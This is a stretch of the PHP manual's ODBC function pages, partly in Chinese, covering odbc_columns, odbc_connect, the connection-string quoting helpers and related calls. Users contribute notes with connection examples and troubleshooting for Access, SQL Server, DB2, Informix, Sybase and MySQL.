    echo odbc_result_all($resu);
}
Artur 23-Jan-2007 06:15
This is the only way I could actually get field names using odbc_columns. Hope it will be usefull for someone.

$result = odbc_columns($odbc,$dbhost,"dbo", "KIR_ViolationDetail");

while (odbc_fetch_row($result))
{
  echo odbc_result($result,"COLUMN_NAME");
}
ke3wh at comcast dot net 26-Nov-2004 05:47
The complete script to get into from a DSN MS Access DB Table and display it is below.

function Error_Handler( $msg, $cnx ) {
    echo "$msg \n";
    odbc_close( $cnx);
    exit();
    }

$cnx = odbc_connect( 'DSN_NAME' , '', '' );//connect to MSAccess
    if (!$cnx) {
      Error_handler( "Error in odbc_connect" , $cnx );
    }

    $res400= odbc_columns($cnx,"DSN_NAME","","TABLE");
    echo odbc_result_all($res400);
laundro at gmail dot com 15-Nov-2004 08:29
Getting all column names from Excel with ODBC:
$cols = odbc_columns($connection, $filename, NULL, $sheet);

where:
$connection is the result of your odbc_connect;
$filename is the filename of the Excel file;
$sheet is the name of the Excel worksheet.

This is useful when you want to query an Excel file without having to name ranges beforehand. With the results obtained from the above command, you can populate an array and use its contents (ie the column names) for further querying.
netaminas at hotamil dot com 25-Feb-2004 02:21
Connect with IBM Client Access 32-bit ODBC driver

To access table information in DB2 iSeries (AS/400) via ODBC Driver i've tried with this code and worked!!!

$conn_ODBC = odbc_connect("DSN", "USER", "PASSW") or die;
$tabela = "table name in IBM iSeries";
$libname = "library name in IBM iSeries"

$res400 = odbc_columns($conn_ODBC, "DSN", $libname, $tabela, "%")  or die("<p><font color=#FF0000>Erro Na Leitura da Tabela ".$tabela." do AS/400: ".odbc_errormsg());

echo odbc_result_all($res400);

Netaminas.com
PORTUGAL
21-Oct-2003 11:44
ODBC & MS ACCESS :

odbc_columns($conn,"DSN_NAME","","TABLE_NAME");
Sergio Sartori 25-Feb-2003 08:05
Using this function on a MS SQL Server 2000 database connection with the syntax:

$res = odbc_columns($connId, $dbName, "%", $tableName, "%");

I actually get a result set with THESE columns name:

TABLE_CAT, TABLE_SCHEM, TABLE_NAME, COLUMN_NAME, DATA_TYPE, TYPE_NAME, COLUMN_SIZE, BUFFER_LENGTH, DECIMAL_DIGITS, NUM_PREC_RADIX, NULLABLE, REMARKS

in the order displayed.
josh at engledental dot com 12-Jun-2002 05:34
(PHP4.2.1, Win2k, MSSQL 2K)

The result id returned from this function does not appear to behave exactly the same as a result id returned from a query.

I get all sorts of errors when I try to use subsequent odbc functions on the result id, such as:

odbc_fetch_into - This function only seems to work if I don't specify a row number or if the row number = 0.

odbc_fetch_row - This function will not return a row from the result set.  Under some scenarios, I am able to use it in a while loop, but its seems buggy.  Hence, my odbc_num_of_rows function (hack to replace the non-functional odbc_num_rows function) also doesn't work.

I recommend dumping the results into an array immediately and freeing the result id created by this function.

ps - If anyone has any further insight or workarounds, I would appreciate them.
LyleE at LocalMotion dot com 22-Feb-2001 11:53
Took me a while to figure out this command, thought I would save some other people the time.  We couldn't quite figure out what the qualifier was.  For MSSQL 7.0, it is the Database that you are connecing to.  For the pubs database it would look something like this.

$rs = odbc_columns($DBConnection, "Pubs", "%", "jobs");

That would be for showing the jobs table.


Commit an ODBC transaction

  • ? odbc_columns
  • odbc_connect ?
  • PHP Manual
  • ODBC 函数
  • Commit an ODBC transaction

odbc_commit

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_commit — Commit an ODBC transaction

说明

odbc_commit(resource $odbc): bool

Commits all pending transactions on the connection.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Connect to a datasource

  • ? odbc_commit
  • odbc_connection_string_is_quoted ?
  • PHP Manual
  • ODBC 函数
  • Connect to a datasource

odbc_connect

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_connect — Connect to a datasource

说明

odbc_connect(
string $dsn,
string $user,
string $password,
int $cursor_option = SQL_CUR_USE_DRIVER
): resource|false

The connection id returned by this functions is needed by other ODBC functions. You can have multiple connections open at once as long as they either use different db or different credentials.

With some ODBC drivers, executing a complex stored procedure may fail with an error similar to: "Cannot open a cursor on a stored procedure that has anything other than a single select statement in it". Using SQL_CUR_USE_ODBC may avoid that error. Also, some drivers don't support the optional row_number parameter in odbc_fetch_row(). SQL_CUR_USE_ODBC might help in that case, too.

参数

dsn

The database source name for the connection. Alternatively, a DSN-less connection string can be used.

user

The username.

password

The password.

cursor_option

This sets the type of cursor to be used for this connection. This parameter is not normally needed, but can be useful for working around problems with some ODBC drivers.

The following constants are defined for cursortype:

  • SQL_CUR_USE_IF_NEEDED
  • SQL_CUR_USE_ODBC
  • SQL_CUR_USE_DRIVER

返回值

Returns an ODBC connection, 或者在失败时返回 false.

示例

Example #1 DSN-less connections

<?php
// Microsoft SQL Server using the SQL Native Client 10.0 ODBC Driver - allows connection to SQL 7, 2000, 2005 and 2008
$connection = odbc_connect("Driver={SQL Server Native Client 10.0};Server=$server;Database=$database;", $user, $password);

// Microsoft Access
$connection = odbc_connect("Driver={Microsoft Access Driver (*.mdb)};Dbq=$mdbFilename", $user, $password);

// Microsoft Excel
$excelFile = realpath('C:/ExcelData.xls');
$excelDir = dirname($excelFile);
$connection = odbc_connect("Driver={Microsoft Excel Driver (*.xls)};DriverId=790;Dbq=$excelFile;DefaultDir=$excelDir" , '', '');
?>

参见

  • For persistent connections: odbc_pconnect() - Open a persistent database connection

User Contributed Notes

nunya at damn dot biz 29-Jan-2020 07:38
One additional note regarding odbc_pconnect  and possibly other variations of pconnect:

If the connection encounters an error (bad SQL, incorrect request, etc), that error will return with  be present in odbc_errormsg for every subsequent action on that connection, even if subsequent actions don't cause another error.

For example:

A script connects with odbc_pconnect.
The connection is created on it's first use.
The script calls a query "Select * FROM Table1".
Table1 doesn't exist and odbc_errormsg contains that error.

Later(days, perhaps), a different script is called using the same parameters to odbc_pconnect.
The connection already exists, so it is reused.
The script calls a query "Select * FROM Table0".
The query runs fine, but odbc_errormsg still returns the error about Table1 not existing.

I'm not seeing a way to clear that error using odbc_ functions, so keep your eyes open for this gotcha or use odbc_connect instead.
fr at freedom2ct dot com 24-Apr-2019 01:14
Under Windows odbc_connect (and PDO ODBC) apparently uses the Windows locale to handle input and output from e.g. MS access and MS SQL Server databases.

This causes lots of headaches if one is using other than ASCII characters.

Work-round solutions like utf8_encode and mb_convert both fails.

The solution I fund working is to perform the following changes to Windows

Control Panel > Region > Administrative > Change system locale
>Check '<i>Use Unicode UTF-8 for worldwide language support.</i>'
Matt 03-Sep-2015 03:00
In newer versions you may need: odbc_connect("Driver={Microsoft Access Driver (*.mdb, *.accdb)};Dbq=C:/Folder/database.mdb", "", "");
cjbauer2 at hotmail dot com 21-May-2015 08:52
/* Connecting to Microsoft Access with PHP
   $conn = odbc_connect("Driver={Microsoft Access Driver (*.mdb)};
   Dbq=$mdb_Filename", $user, $password);

This does NOT work on Windows servers.
Instead, it needs
   $conn->Open("Provider=Microsoft,.Jet.OLEDB.4.0; Data Source=......

Point the variable $mdb_Filename to...
   Data Source=C:\inetpub\wwwroot\php\mdb_Filename
   or wherever the virtual directory points.
Luis [from] redcodestudio [dot] com 02-Mar-2015 05:48
Following  simonr at no2sp at m dot cogapp dot com contribution (thank you), I tried to connect to a local MS SQL Server 2014 Express database by creating a DSN-less connection using ODBC. It worked, here's the code.

<?php
// Replace the value of these variables with your own data
$user = 'username';
$pass = 'password';
$server = 'serverName\instanceName';
$database = 'database';

// No changes needed from now on
$connection_string = "DRIVER={SQL Server};SERVER=$server;DATABASE=$database";
$conn = odbc_connect($connection_string,$user,$pass);

if ($conn) {
    echo "Connection established.";
} else{
    die("Connection could not be established.");
}
?>
Abhinav 04-Mar-2012 02:13
Pls ensure that the MSAccess database format is ".mdb".
If it is ".accdb" it will not work!
ewilde aht bsmdevelopment dawt com 17-Feb-2010 01:08
Once you've set up a UnixODBC connection to Informix (as described elsewhere, for example in http://www.unixodbc.org/), the following PHP code will access a database via its DSN:

<?php
// We must set these environment variables for Informix to work.  Either
// do it here or in php.ini.
putenv("INFORMIXDIR=/usr/share/informix");
putenv("ODBCINI=/usr/local/unixODBC/etc/odbc.ini");

// Open up a connection to the database.
if (!($con = odbc_connect("CollectOh", "", "")))
  echo "<p>Connection to CollectOh failed.</p>\n";
else
  {
  // Let's try enumerating all of the tables in the database (there ain't
  // no "show tables" here).
  if (($res = odbc_exec($con, "select * from SYSTABLES")))
    {
    echo "<p>\n";
    odbc_result_all($res);
    echo "</p>\n";
    }

  // Close up shop, like good dobies.
  odbc_close($con);
  }
?>
Shyam Hazari 25-Oct-2009 03:43
Here is my successful odbc_connect with mysql on Ubuntu. It took me a while to figure this out.

Installed following packages using apt-get.

apache2
apache2-mpm-prefork
apache2-utils
apache2.2-common
libapache2-mod-php5
libdbd-mysql-perl
libmyodbc
libmysqlclient15off
mysql-client-5.0
mysql-common
mysql-server-5.0
mysql-server-core-5.0
odbcinst1debian1
php5
php5-cli
php5-common
php5-odbc
unixodbc

/etc/odbc.ini
------------
myodbc3      = MySQL ODBC 3.51 Driver

[myodbc3]
Driver         = /usr/lib/odbc/libmyodbc.so
Description  = MySQL ODBC 3.51 Driver
Server        = localhost
Port           = 3306
User           = shyam
Password    = mypass
Database    = mysql
Option        = 3
Socket       = /var/run/mysqld/mysqld.sock

/etc/odbcinst.ini
----------------
[MySQL ODBC 3.51 Driver]
Description    = MySQL driver
Driver        = /usr/lib/odbc/libmyodbc.so
Setup        = /usr/lib/odbc/libodbcmyS.so
CPTimeout    =
CPReuse    =
UsageCount    = 1

my php script
------------

<html>
<body>
<?
$conn = odbc_connect("DRIVER={MySQL ODBC 3.51 Driver};Server=localhost;Database=mysql", "shyam", "mypass");

$sql = "SELECT user from user";
$rs = odbc_exec($conn,$sql);
echo "<table><tr>";
echo "<th>User Name</th></tr>";
while (odbc_fetch_row($rs))
 {
 $user = odbc_result($rs,"user");
 echo "<tr><td>$user</td></tr>";
}
odbc_close($conn);
echo "</table>";
?>

</body>
</html>
drew at pixelburn dot net 02-Jul-2009 05:32
[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified

If you keep running  into this on the 64 bit versions of windows, ie server 2008,  and none of the other solutions helped.

In a 64 bit windows server operating system, there are TWO odbc managers. When you pull up the usual menu for the odbc / dsn system, it is for the 64 bit odbc manager, and 32 bit applications (vb 6.0, PHP 5) will not work using these dsn's.

This is where the 32 bit odbc manager is:

C:\Windows\SysWOW64\odbcad32.exe
Anonymous 11-Sep-2008 01:16
This might be obvious to some, but here is a quick tidbit that might save you some time if you're using FreeTDS in Linux:

Be sure that you have these two lines in freetds.conf:
dump file = /tmp/freetds.log
dump file append = yes

so you can tail -f it in the background of debugging the problem.  This helped me find my issue on on CentOS Linux:

1) tsql test works
2) isql test works
3) odbc connection in php also works WHEN RUN FROM THE SHELL
4) running PHP through apache does NOT work.

my /tmp/freetds.log file told me:
net.c:168:Connecting to MYDBSERVER port MYDBPORT
net.c:237:tds_open_socket: MYDBSERVER:MYDBPORT: Permission denied

and the answer was my firewall/SELinux was denying the Apache processes access to connect to the remote MSSQL DB port, but my shell accounts were fine.
Anonymous 11-Jun-2008 08:08
I have used mdbtools to access .mdb file on my ubuntu box, as ODBC driver (and PHP)
It has very few features, and practically unusable.
Ceeclipse 05-Feb-2008 01:36
"Returns an ODBC connection id or 0 (FALSE) on error."

Keep in mind that the following code in PHP5 will not work properly:

<?php

if( odbc_connect("test", "test", "test") === false ) {
    // Your error reporting/handling here..
}

?>

odbc_connect() returns an integer, and not a PHP5 boolean!
harald dot angel at gmail dot com 06-Dec-2006 06:12
- Windows - OS
- Apache
- ODBC-Connction to MS-Access DB on a:
- Network Share

After many hours searching here′s how it works:

- Map the Network Drive where the mdb is located
- Setup System DSN in Control Panel with mapped Drive
- Open Registry at:
HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI
- Edit the for example "M:\" to "\\server\..."
- Close Regedit
- The Apache-Service must run with a Domain (network)-User!!
- After that you can connect using:

$conn = odbc_connect('your-dsn-name','','');

hope that makes someone happy :)
bye
Ray.Paseur sometimes uses GMail 28-Nov-2006 07:48
To connect and show tables in a Microsoft Access data base (created in *.asp pages)...

$dbq    =    str_replace("/", "\\", $_SERVER["DOCUMENT_ROOT"]) . "\\path\\to\\database.mdb";
if    (!file_exists($dbq)) { echo "Crap!<br />No such file as $dbq"; }

$db_connection = odbc_connect("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=$dbq", "ADODB.Connection", "password", "SQL_CUR_USE_ODBC");

$result = odbc_tables($db_connection);

while (odbc_fetch_row($result)) {
    if(odbc_result($result,"TABLE_TYPE")=="TABLE") {
        echo "<br />" . odbc_result($result,"TABLE_NAME");
    }
}
sven dot delmeiren at cac dot be 09-Aug-2006 07:39
Hi,

Instructions on how to connect to a Progress database on Linux using the Merant ODBC driver can be found at http://www.progteg.com/english/documents.html.

Kind regards,

Sven Delmeiren
Computers & Communications NV
gekkeprutser at gmail dot com 06-Dec-2005 06:35
I also had a problem with this message: ([ODBC SQL Server driver]Allocation of a Sybase Open Client Context failed). The message only appeared after the server had run for a few hours, so I expected resource starvation. However it was a settings problem and I thought this might benefit others too.

In addition to putting a <?php putenv ("SYBASE=c:\sybase"); ?>  as described by oottavi above, I also had so specify a locale by setting <?php putenv ("LC_ALL=default"); ?>.

Even though my locale was already set to a valid one (en_US) I had to set this environment variable to make it work anyhow.
webmaster at dzconnexion dot com 05-May-2005 08:44
Concerning the note posted by Grisu on the 23-Dec-2003 11:51: Connect to an MS-Access Database on the Network via ODBC,

PLEASE dont forget to put double slashes as follows:

"\\\\Server\\folder\\database.mdb"

when setting up the registry key as indicated...
rotwhiler at hotmail dot com 29-Apr-2005 08:42
For anyone having problems with WHERE clauses in their MS Access ODBC requests here?s what I found: SQL requests sent to Access must include quotes around the criteria.

$sel = "SELECT * FROM table1 WHERE cust_id = 'cust1'";
outputs:
SELECT * FROM table1 WHERE cust_id = 'cust1'
And works.

$sel = ?SELECT * FROM table1 WHERE cust_id = cust1?;
outputs:
SELECT * FROM table1 WHERE cust_id = cust1
And doesn?t work.

Here?s the whole block of code:
$conn = odbc_connect("database1","","");
$sel = "SELECT * FROM table1 WHERE cust_id = 'cust1'";
$exec = odbc_exec($conn,$sel);
while($row = (odbc_fetch_array($exec)))
 $serv[odbc_result($exec,'label')] = $row;
print_r($serv);
aurelien marchand 30-Mar-2005 07:54
For three days I fought to be able to connect our Linux intranet server to our AS400 database through ODBC and PHP on Mandrake. I installed everything I thought would work but I still got a: odbc_connect(): SQL error: Missing server name, port, or database name in call to CC_connect., SQL state IM002 in SQLConnect

Note that isql was working great but php was failing to connect.

The solution:
I located and found a PHP module called php-unixODBC (to oppose with php-odbc). Once installed (even though it wasn't for the right version of PHP), I realised it didn't place the file properly. The ini file was in /etc/php/ instead of /etc/php.d/, so I moved it there and renamed the old /etc/php.d/36_odbc.ini to /etc/php.d/36_odbc.ini.sav, so that I now had /etc/php.d/36_unixodbc.ini. I restarted the httpd server and now I was able to access the as400.

If you have questions, email _artaxerxes2_at_iname_dot_com (sans the underscore).
aamaral at 0kbps dot net 03-Mar-2005 10:16
Two additional notes regarding ODBC connections to a Network Sybase SQL Anywhere 8 Server..

I wrote a script using the PHP5 CLI binary that monitors a directory for changes, then updates a Network Server SQL Anywhere 8 database when a change was detected. Idealy, my program would run indefinately, and issue odbc_connect()/odbc_close() when appropriate. However, it seems that once connected, your odbc session is limited to 30 seconds of active time, after which, the connection becomes stale, and no further queries can be executed.  Instead, it returns a generic "Authentication violation"  error from the odbc driver.

Here's an example:

<?php
  $conn=odbc_connect($connect_string,'','');
  $result=odbc_exec($qry,$conn);  //returns data
  sleep(31);
  $result=odbc_exec($qry,$conn);  //"Authentication Violation"
?>

Additionally, it seems that odbc_close() doesn't truely close the connection (at least not using Network SQL Anywhere 8). The resource is no longer usable after the odbc_close() is issued, but as far as the server is concerned, there is still a connection present. The connection doesn't truely close until after the php script has ended, which is unfortunate, because a subsequent odbc_connect() commands appear to reuse the existing stale connection, which was supposedly closed.

My workaround was to design my script exit entirely after a the database update had completed.  I then called my script whithin a batch file and put it inside an endless loop.

I'm not sure if this is a bug with PHP or what, but I thought I'd share in case someone else is pulling their hair out trying to figure this one out...
aamaral at 0kbps dot net 16-Feb-2005 12:29
To connect to Sybase SQL Server Anywhere 8.0 on Windows use the following:

<?php
//================================================================

  // Configure connection parameters
  $db_host        = "server.mynetwork";
  $db_server_name = "Dev_Server";
  $db_name        = "Dev_Data";
  $db_file        = 'c:\dbstorage\dev.db';
  $db_conn_name   = "php_script";
  $db_user        = "dbuser";
  $db_pass        = "dbpass";

//================================================================
  $connect_string = "Driver={Adaptive Server Anywhere 8.0};".
                    "CommLinks=tcpip(Host=$db_host);".
                    "ServerName=$db_server_name;".
                    "DatabaseName=$db_name;".
                    "DatabaseFile=$db_file;".
                    "ConnectionName=$db_conn_name;".
                    "uid=$db_user;pwd=$db_pass";

  // Connect to DB
  $conn = odbc_connect($connect_string,'','');

  // Query
  $qry = "SELECT * FROM my_table";

  // Get Result
  $result = odbc_exec($conn,$qry);

  // Get Data From Result
  while ($data[] = odbc_fetch_array($result));

  // Free Result
  odbc_free_result($result);

  // Close Connection
  odbc_close($conn);

  // Show data
  print_r($data);

//================================================================
?>
manuel dot vecino at steria dot es 16-Nov-2004 03:04
Hi Mario, I changed a bit your script to suit my configuration,
I also included a lines to close the connection.
Thanks for the script
I am running apache 2.0.52 and PHP 5.0.2. Windows 2000
SQL 2000

<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body bgcolor="#FFFFFF">
<table width="75%" border="1" cellspacing="1" cellpadding="1" bgcolor="#FFFFFF">
  <tr bgcolor="#CCFFFF">
    <td height="22"><b>Tipo</b></td>
    <td height="22"><b>Marca</b></td>
    <td height="22"><b>Modelo</b></td>
  </tr>

<?php
$cx=odbc_pconnect("RAMPANT","Invent","pass","");
$cur=odbc_exec($cx,"select tipo,marca,modelo from inv_equipos");
while(odbc_fetch_row($cur))
{
//collect results
$tipo=odbc_result($cur,1);
$marca=odbc_result($cur,2);
$modelo=odbc_result($cur,3);
//format and display results
    print ("<tr>");
    print ("<td>$tipo</td>");
    print ("<td>$marca</td>");
    print ("<td>$modelo</td>");
    print ("</tr>");
    }

//disconnect from database
    odbc_close($cx);

    ?>

</table>
</body>
</html>
simonr at no2sp at m dot cogapp dot com 01-Jun-2004 05:26
To make a DSN-less connection using ODBC to MS-SQL:

<?php

$connection_string = 'DRIVER={SQL Server};SERVER=<servername>;DATABASE=<databasename>';

$user = 'username';
$pass = 'password';

$connection = odbc_connect( $connection_string, $user, $pass );

?>

servername is the name of the database server

databasename is the name of the database

Note, I've only tried this from a windows box using the Microsoft ODBC drivers.
atze at o2o dot com dot au 04-Feb-2004 03:41
To connect to a SQL DB on a unix srv via odbc one can use one of the following solutions.

1. having an odbc.ini (~/.odbc.ini)

[PostgreSQL]
Description         = PostgreSQL template1
Driver              = PostgreSQL
Trace               = Yes
TraceFile           = /tmp/odbc.log
Database            = PerfTest
Servername          = localhost
UserName            = boss
Password            = BigBoss
Port                = 5432
Protocol            = 6.4
ReadOnly            = Yes
ConnSettings        =

[Default]
Driver = /local/lib/libodbc.so

2. specifying a DSN

function DBCALL($SQL)
{
$U = "boss";
$DB = "PerfTest";
$P = "BigBoss";
$Srv = "llocalhost";
$DSN = "Driver=PostgreSQL;Server=$Srv;Database=$DB";

echo "Trying to connect to $DSN\n";
if ($CID = odbc_connect ("$DSN","$U","$P",SQL_CUR_USE_ODBC))
{
    echo "still trying CID = $CID\n";
    if ($RES = odbc_exec($CID, $SQL))
    {
        echo "RES = $RES\n";
        print_r($RES);
        echo "\n";

        $NR = odbc_num_rows($RES);

<snip>

Hope this helps.
Grisu 23-Dec-2003 03:51
Connect to an MS-Access Database on the Network via ODBC

Apache 2.0.47 with PHP 4.3.4 running on Windows XP Pro

If you encounter the error
"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

you should make sure to have the following done:

The ODBC-link must be a System-DNS and not a User-DNS. Configure your ODBC-link and then modify your configuration with regedt32. Go to HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI and open your ODBC-link. The field DBQ contains the path to your database. This path must be without Drive-names (e. g. "M:") so change it to "\\Server\folder\database.mdb". This setting is changed each time you modify your ODBC-configuration using the Windows-tool, so make sure you do this afterwards.

Then you go to the Services-Section in your Systemmanagement. Select the properties of your Apache module. In the login-section you have to make sure you login with a valid User-Account for your Network-Server.

Please note that this way you still have no permission to access linked tables within the linked database

Funny enough all this is not necessary on Win98.
lffranco at dco.pemex.com 27-Aug-2003 06:08
As always Microsoft is clueless... I've been trying to connect to an Access database on a W2K on the network (not a local file, but mapped on the V: drive), via ODBC.

All I got is this message:
Warning: SQL error: [Microsoft][ODBC Microsoft Access Driver] '(unknown)' is not a valid path. Make sure that the path name is spelled correctly and that you are connected to the server on which the file resides., SQL state S1009 in SQLConnect in d:\apache\cm\creaart.php on line 13

So... I started looking al around and looks like the ODBC driver has some severe problems:

1. It cannot access a Access database via a mapped drive. And this is for ANY application, name it PHP, Coldfusion, whatever
2. You cannot make a system DSN with a UNC (\\Server\resource), so you must map the drive

Cute isn't it?

So... I quit on ODBC and went via ADO, this is the code that works:

=== CODE ===

$db = '\\\\server\\resource\\db.mdb';
$conn = new COM('ADODB.Connection');
$conn->Open("DRIVER={Driver do Microsoft Access (*.mdb)}; DBQ=$db");

// Driver do Microsoft Access (*.mdb)
// must be the name in your odbc drivers, the one you get
// from the Data Sources (ODBC).
// In this case, I'm in Mexico but the driver name is in portuguese, thanks Microsoft.

$sql = 'SELECT username FROM tblUsuarios';
$res = $conn->Execute($sql);
while (!$res->EOF)
{
    print $res->Fields['username']->Value . "<br>";
    $res->MoveNext();
}

$res->Close();
$conn->Close();
$res = null;
$conn = null;

=== /CODE ===
jeremy at austin.ibm.com 28-Feb-2003 02:20
here's a quick note about using php and db2 that cost me a couple of hours and several recompiles trying to figure out why it didn't work.

put the below line in any script

     putenv("DB2INSTANCE=db2inst1");

Or, set that in your webserver environment somehow.
osiris at rich-howard dot co dot uk 24-Jul-2002 10:34
Thought I'd add a note here on this. I'm using Apache 2.0.39 on Windows XP and PHP 4.2.2.

It helps a lot if you don't use capital letters in your dsn string.

Thought I also comment on the posts about using system dsns over file dsns. There are lots of posts saying use systems not files, but none (that I have seen) which explain why.

Essentially: File DSNs are specific to the current user, therefore the Internet Guest User Account doesn't have rights to them. Systems are available to everyone.

Regards

Osiris :)
Mahmoud at iastate dot edu 29-Nov-2001 12:35
WINNT 4 Workstation, PHP4

odbc_connect() kept giving me weird errors when trying to connect to a MSaccess DSN(Microsoft Jet engine couldn't open the database 'Unknow'. Another user is using it exclusively, or you dont have permission to use it).

After going nuts for a while, I realized that my database name had a space in it (course surveys.mdb), I shortened the name to eliminate the space .. and everything worked fine.
lomaky at yahoo dot com 23-Nov-2001 02:30
// simple conection

$cnx = odbc_connect('cliente','Administrador','');
//query
$SQL_Exec_String =  "select * from Clientes";
//ejecucion query
$cur= odbc_exec( $cnx, $SQL_Exec_String );
echo  "<table border=1><tr><th>Dni</th><th>Nombre</th>".
         "<th>codigo</th><th>ciudad</th></tr>\n";
    while( odbc_fetch_row( $cur ) ) {
       $Dni= odbc_result( $cur, 1 );
       $Nombre= odbc_result( $cur, 2 );
       $codigo= odbc_result( $cur, 3 );
       $ciudad= odbc_result( $cur, 4 );
        echo  "<tr><td>$Dni</td><td>$Nombre</td>".
             "<td>$codigo</td><td>$ciudad</td></tr>\n";
    }
    echo  "</table>";
root at mediamonks dot net 19-Nov-2001 04:03
Due to multiple requests, more for DSN-less connections:

<?php
$db_connection = new COM("ADODB.Connection");

$db_connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=". realpath("../databases/database.mdb") ." ;DefaultDir=". realpath("../databases");
$db_connection->open($db_connstr);
$rs = $db_connection->execute("SELECT * FROM Table");
$rs_fld0 = $rs->Fields(0);
$rs_fld1 = $rs->Fields(1);
while (!$rs->EOF) {
  print "$rs_fld0->value $rs_fld1->value\n";
  $rs->MoveNext(); /* updates fields! */
}
$rs->Close();
$db_connection->Close();
?>

(Prints first 2 columns for each row.)
cs at coolspot dot de 10-Jul-2001 01:01
We've tried hard to connect from php to our IBM DB2 RS/6000 Server. It worked after we compiled with --ibm-db2= option, but it was unbelievable
slow.

No, just testing some options, we found out that it went from very slow (getting 100 records lasts 1 till 10 seconds) to fast access (almost same speed as with using JDBC from Servlets) to 0.2 till 0.3 seconds.

We simply added the optional parameter Cursortype to odbc_connect, and with the cursortype SQL_CUR_USE_ODBC it changed in that way!

Hope this helps anybody who must connect to db2 ;)
fc99 at smm dot de 26-Jan-2001 06:23
If you don't want to specify your login credentials on your web server, you can leave the login fields blank to use the integrated windows security like here:

odbc_connect("DSN=DataSource","","");

Make sure you have switched your system dsn to integrated security, too !

(works on windows machines only, of course)

flo.
SilencerX at optidynamic dot com 26-Jan-2001 03:31
If like me you are using openlink from unix to access an MS Access database on an NT/Win2k machine and find out that your INSERT queries don't do anything and don't report any errors, use odbc_pconnect().

I couldn't understand what was going on and after a bit of research I found out that with MySQL they recommended using mysql_pconnect() for INSERT queries. I tried the same thing with odbc and it worked.
phobo_AT_paradise.net.nz 02-Nov-2000 06:01
If using Openlink to connect to a Microsoft Access database, you will most likely fine tha odbd_connect() works fine, but discover that ANY query will produce odd results; with SELECT queries failing with "[OpenLink][ODBC][Driver]Driver not capable, SQL state
S1C00 in SQLExecDirect in xxxx.php on line xx" and INSERT / DELETE queries warning "No tuples available at this result index".

In this case, use the SQL_CUR_USE_ODBC cursor!

This had me stumped for quite some time; because it was the odbc_exec() which was seemingly at fault... :)

Siggy
cnewbill at onewest dot net 18-May-2000 05:55
Alot of people share the same kind of problems getting this setup on linux.  I was assigned this problem 2 days ago and I was successful.  My combination was PHP4 RC2, Easysoft OOB, and unixODBC.  These three products work very well together and are real easy to install.  More info http://www.easysoft.com/products/oob/main.phtml. ps also works good with Perl's DBI.


Determines if an ODBC connection string value is quoted

  • ? odbc_connect
  • odbc_connection_string_quote ?
  • PHP Manual
  • ODBC 函数
  • Determines if an ODBC connection string value is quoted

odbc_connection_string_is_quoted

(PHP 8 >= 8.2.0)

odbc_connection_string_is_quoted — Determines if an ODBC connection string value is quoted

说明

odbc_connection_string_is_quoted(string $str): bool

Determines if a string is properly quoted for an ODBC connection string value. ODBC connection string quoting is performed using curly braces, and ending braces within a string must be escaped through repeating them twice, similar to SQL quoting.

参数

str

The string to check for quoting.

返回值

true if quoted properly, false if not.

参见

  • odbc_connection_string_quote() - Quotes an ODBC connection string value
  • odbc_connection_string_should_quote() - Determines if an ODBC connection string value should be quoted

User Contributed Notes

There are no user contributed notes for this page.


Quotes an ODBC connection string value

  • ? odbc_connection_string_is_quoted
  • odbc_connection_string_should_quote ?
  • PHP Manual
  • ODBC 函数
  • Quotes an ODBC connection string value

odbc_connection_string_quote

(PHP 8 >= 8.2.0)

odbc_connection_string_quote — Quotes an ODBC connection string value

说明

odbc_connection_string_quote(string $str): string

Quotes a value for a connection string, according to ODBC rules. That is, it will be surrounded by quotes, and any ending curly braces will be escaped. This should be done for any connection string values that come from user input. Not doing so can lead to issues with parsing the connection string, or values being injected into the connection string.

Note that this function does not check if the string is already quoted, nor if the string needs quoting. For that, call odbc_connection_string_is_quoted() and odbc_connection_string_should_quote().

参数

str

The unquoted string.

返回值

A quoted string, surrounded by curly braces, and properly escaped.

示例

Example #1 odbc_connection_string_quote() example

This example quotes a string, then puts it in a connection string. Note that the string is quoted, and the ending quote character in the middle of the string has been escaped.

<?php
$value = odbc_connection_string_quote("foo}bar");
$connection_string = "DSN=PHP;UserValue=$value";
echo $connection_string;
?>

以上示例的输出类似于：

DSN=PHP;UserValue={foo}}bar}

参见

  • odbc_connection_string_is_quoted() - Determines if an ODBC connection string value is quoted
  • odbc_connection_string_should_quote() - Determines if an ODBC connection string value should be quoted

User Contributed Notes

There are no user contributed notes for this page.


Determines if an ODBC connection string value should be quoted

  • ? odbc_connection_string_quote
  • odbc_cursor ?
  • PHP Manual
  • ODBC 函数
  • Determines if an ODBC connection string value should be quoted

odbc_connection_string_should_quote

(PHP 8 >= 8.2.0)

odbc_connection_string_should_quote — Determines if an ODBC connection string value should be quoted

说明

odbc_connection_string_should_quote(string $str): bool

Determines if a string needs to be quoted for an ODBC connection string value; that is, if it contains special characters.

Note that this does not check if the string is already quoted; an already quoted string will contain characters that will make this function return true. You should call odbc_connection_string_is_quoted() to check.

参数

str

The string to check for.

返回值

true if the string should be quoted; false otherwise.

参见

  • odbc_connection_string_quote() - Quotes an ODBC connection string value
  • odbc_connection_string_is_quoted() - Determines if an ODBC connection string value is quoted

User Contributed Notes

There are no user contributed notes for this page.


Get cursorname

  • ? odbc_connection_string_should_quote
  • odbc_data_source ?
  • PHP Manual
  • ODBC 函数
  • Get cursorname

odbc_cursor

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_cursor — Get cursorname

说明

odbc_cursor(resource $statement): string|false

Gets the cursorname for the given result_id.

参数

statement

The result identifier.

返回值

Returns the cursor name, as a string, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Returns information about available DSNs

  • ? odbc_cursor
  • odbc_do ?
  • PHP Manual
  • ODBC 函数
  • Returns information about available DSNs

odbc_data_source

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

odbc_data_source — Returns information about available DSNs

说明

odbc_data_source(resource $odbc, int $fetch_type): array|false

This function will return the list of available DSN (after calling it several times).

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

